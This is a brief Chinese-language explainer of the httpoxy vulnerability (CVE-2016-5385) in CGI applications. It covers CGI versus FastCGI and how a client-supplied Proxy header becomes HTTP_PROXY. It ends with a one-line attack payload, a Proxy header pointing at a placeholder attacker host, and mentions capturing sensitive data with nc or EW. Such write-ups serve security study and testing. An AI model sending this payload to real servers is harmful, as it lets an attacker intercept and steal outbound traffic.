CGI-CVE-2016-5385

cgi是什么

        cgi是一种短生命周期应用程序，为每个web请求建立一个进程，特点是容易实现，但是效率低下，难以扩展。Fastcgi则是一种长生命周期应用程序，可以一直执行，不需要每次都新建进程。FastCgi通过预先启动多个解释器进程并重复使用进程来提高性能。

FastCGI，即快速通用网关接口，是CGI（通用网关接口）的一种改进版本。它是一种与语言无关的、开放的、可扩展的协议，用于将Web服务器与应用程序服务器通信。FastCGI的主要目的是提高与CGI相比的性能，允许服务器处理更多的Web请求。

漏洞原理：cgi会将用户传入的所有http头部都加上http_前缀放入环境变量中，而恰好大多数类库约定俗成会提取环境变量中的http_proxy值作为代理地址。

简单来说就是通过提交恶意的代理地址在头部，取得服务器代理。之后使用nc或者EW这类工具获取敏感信息。

在头部加上代理行即可实现

Proxy:http://x.x.com